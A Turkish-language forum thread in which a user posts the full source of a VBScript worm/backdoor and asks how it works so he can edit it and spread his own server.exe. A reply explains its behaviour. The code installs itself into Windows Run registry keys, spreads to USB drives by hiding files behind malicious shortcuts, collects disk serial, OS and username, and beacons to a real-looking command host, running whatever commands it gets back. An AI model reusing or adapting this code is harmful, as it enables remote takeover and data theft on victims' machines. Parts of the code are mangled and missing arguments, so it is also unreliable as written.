Şu kodları açıklayacak murit yok mudur?

Hocam yanlış anlama ama koyduğun şeyin ne olduğunu tam olarak bilmiyorsun. JAVA ile alakası yok koyduğun kodun. Yanlış grmüyorsam VBscript kodu koymuşsun. Ayrıca neden bahsettiğinide anlatmamışsın. Kimse gelipte kodları burada satır satır anlatmaz. Kendi lehimize derken ne istiyorsun hoca oda belli değil. Bu imzayı her grdüğünüzde 4gb kotanızın 0,00000358559191226959228515625 azalmaktadır. Bilerek ve istenerek bu imza yapılmıştır. Amaç kotanızı smürmektir

Java <class> falan bi şeyler olması lazım java kodlamada. Bak ben bile biraz çakıyorum Javadan :D Yaşlandıkça 50 liralık saatin ve 5.000 liralık saatin aynı şeyi gsterdiğini fark edeceksin. 1.000.000 liralık ve 100.000 liralık ev aynı yalnızlığı barındırır. 1.000 liralık Android ile 20.000 liralık iPhone Pro kimse aramadıktan sonra aynıdır. Materyalist şeylerde gerçek mutluluk bulunmaz. Asıl mutluluk bir çift memededir. Enflasyon yüzünden bu imzayı bir ara güncellemek lazım. Bin liraya telefon kalmadı amk.

Java falan bi şeyler olması lazım java kodlamada. Bak ben bile biraz çakıyorum Javadan :D DrKill bunu yazdı Hocam yanlış anlama ama koyduğun şeyin ne olduğunu tam olarak bilmiyorsun. JAVA ile alakası yok koyduğun kodun. Yanlış grmüyorsam VBscript kodu koymuşsun. Ayrıca neden bahsettiğinide anlatmamışsın. Kimse gelipte kodları burada satır satır anlatmaz. Kendi lehimize derken ne istiyorsun hoca oda belli değil. Haklısınız hacılar, yanlış kodları paylaşmışım. Ama java olanlarlar da başka şeylermiş. Malum zor bir final dnemiydi, uykusuzluk.. Her neyse, kodlara devam edelim. Sorum şu; bu virüs ne yapıyor, yani nereye ynlendiriyor, neleri alıyor, neleri kapatıyor bilgisayardan.. Kodların açıklamasını istiyorum. Kendi server. exe'mi bu yolla dağıtabilirmiyim mesela? Kaan tarafından 20/Oca/13 13:53 tarihinde düzenlenmiştir

1- vbscript kodudur 2- dosyalara erişiyor 3- registry den kayıt okuyor ve yazıyor 4- kodla oluşturduğu Servieca. vbs isimli dosyayı registry da run a yerleştirip, bilgisayar ilk açıldığında çalıştırmasını sağlıyor 5- http://jn. redirectme. net/ a post atıyor ve ondan 6- post atıldıktan sonra dnen cevabı execute ediyor. mesela ilgili fonksiyonda post şeklinde bi çağırma var, sisteme post edildiğinde sistemde ready karşılığında nasıl bir komut geliyosa mesela del d:\ . gibi? ya da netstat... v. s. komutlar çalıştırılabilir uzaktan 7- harddisklerin serial numarasını alıyorlar (http://msdn.microsoft.com/en-us/library/windows/desktop/aa394173(v=vs.85).aspx buradan bakabilirsin) 8- bunun haricinde, işletim sistemi bilgisini, kullanıcı adını v. s. de alıyorlar 9- mshta. exe ile kendi oluşturdukları hta dosyasını çalıştırıyorlar. 10- bazı kullanıcı haklarıyla çalıştırıyorlar (http://msdn.microsoft.com/en-us/library/windows/desktop/aa394599(v=vs.85).aspx ) grebildiklerim bunlar.. detaylı analiz yapmak lazım adım adım çalıştırıp ya da fonksiyonları takip edip tam olarak ne yaptığını düzgünce planlamak gerek ama uzun iş :) Ülkesini Seven Her Türk Vatandasi, Ülkesinin Sessiz Istilasi'na karsi durmak zorunda.

. vbs olarak kaydedin çift tıklayın virüs girsin :P Bunda hoşuma giden sadece klasrleri değil dosyaları da sistem dosyası yapıyor. Bilen birileri kodları açıklarsa editleyip lehimize kullanmamız daha kolay olabilir.. '< >' On Error Resume Next dim sh ' shell set sh =WScript. CreateObject dim fs ' filesystem set fs= CreateObject dim host host="jn. redirectme. net" dim port port=7777 dim DR DR = sh. ExpandEnvironmentStrings & "\" dim FN FN ="Servieca. vbs" dim fh dim us us=" " ins dim spl spl="jnJnj" dim i i=0 while true dim a a= split(post , spl) select case a(0) case "exc" dim sa sa= a(1) execute sa case "uns" uns end select wscript. sleep 4000 i = i + 1 if i> 2 then i=0 xins end if wend function ins on error resume next us= sh. regread("HKCU\njq8") if us=" " then if lcase( mid(wscript. scriptfullname,2))=":\" & lcase then us="y" sh. regwrite "HKCU\njq8", us, "REG_SZ" else us="n" sh. regwrite "HKCU\njq8", us, "REG_SZ" end if end if Err. Clear fs. CopyFile wscript. scriptfullname, dr & fn, true set fh = fs. OpenTextFile( dr & fn, 8, false) if Err. Number>0 then wscript. quit end if xins end function sub xins on error resume next sh. regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" sh. regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" fs. copyfile wscript. scriptfullname, CreateObject . NameSpace(&H7). Self. Path &"\" & fn, true for each xx in fs. Drives if xx. isready then if xx. FreeSpace >0 then if xx. drivetype=1 then if fs. fileexists then fs. getfile . Attributes=0 end if fs. copyfile dr & fn, xx. path & "\" & fn, true For Each x In fs. GetFolder . Files wscript. sleep 1 if instr then if lcase( Split (UBound(Split <>"lnk" then x. Attributes = 2 if ucase <> ucase then With sh. CreateShortcut . TargetPath = "cmd. exe" . WorkingDirectory = "" . Arguments = "/c start " & Replace(fn," ", ChrW(34) _ & " " & ChrW(34)) & "&start " & replace( x. name," ", ChrW(34) & " " & ChrW(34)) & " & exit" . IconLocation = sh. regread("HKLM\SOFTWARE\Classes\" & sh. regread("HKLM\SOFTWARE\Classes\." & Split (UBound(Split & "\") & "\DefaultIcon\") if instr =0 then. iconlocation = . iconlocation &",0" end if. Save end with end if end if end if Next end if end if end if next Err. Clear end sub function uns on error resume next fh. close sh. RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn sh. RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn fs. DeleteFile dr & fn, true fs. DeleteFile CreateObject . NameSpace(&H7). Self. Path &"\" & fn, true for each xx in fs. Drives if xx. isready then if xx. FreeSpace >0 then For Each x In fs. GetFolder . Files On Error Resume Next if instr then if lcase( Split (UBound(Split <>"lnk" then x. Attributes = 0 if ucase <> ucase then fs. deletefile else fs. deletefile end if end if end if Next end if end if next wscript. quit end function function post post="" Dim o Set o = CreateObject("MSXML2. XMLHTTP") o. open "POST","http://" & host & ":" & port &"/" & cmd, false o. setRequestHeader "User-Agent:", inf o. send da post=o. responseText end function dim xinf function inf on error resume next if xinf="" then dim s s="?" s = hwd inf = inf & s & "\" s="?" s= sh. ExpandEnvironmentStrings inf = inf & s & "\" s="?" s= sh. ExpandEnvironmentStrings inf = inf & s & "\" s="?" Set a = GetObject("winmgmts: !\\.\root\cimv2") Set aa = a. ExecQuery ("Select from Win32_OperatingSystem") For Each aaa in aa s= aaa. Caption exit for Next inf = inf & s & "\\0.3\" & us &"\" & pid xinf=inf else inf=xinf end if end function function HWD HWD="ZAIN_?" On Error Resume Next Set a = GetObject("winmgmts: !\\.\root\cimv2") Set aa = a. ExecQuery("SELECT FROM Win32_LogicalDisk") For Each aaa In aa if aaa. VolumeSerialNumber<>"" then HWD= "ZAIN_" & aaa. VolumeSerialNumber exit for end if Next end function Function PID PID=0 on error resume next PID = GetObject("winmgmts:root\cimv2"). Get("Win32_" &_ "Process. Handle='" & _ sh. Exec . ProcessID & "'"). ParentProcessId End Function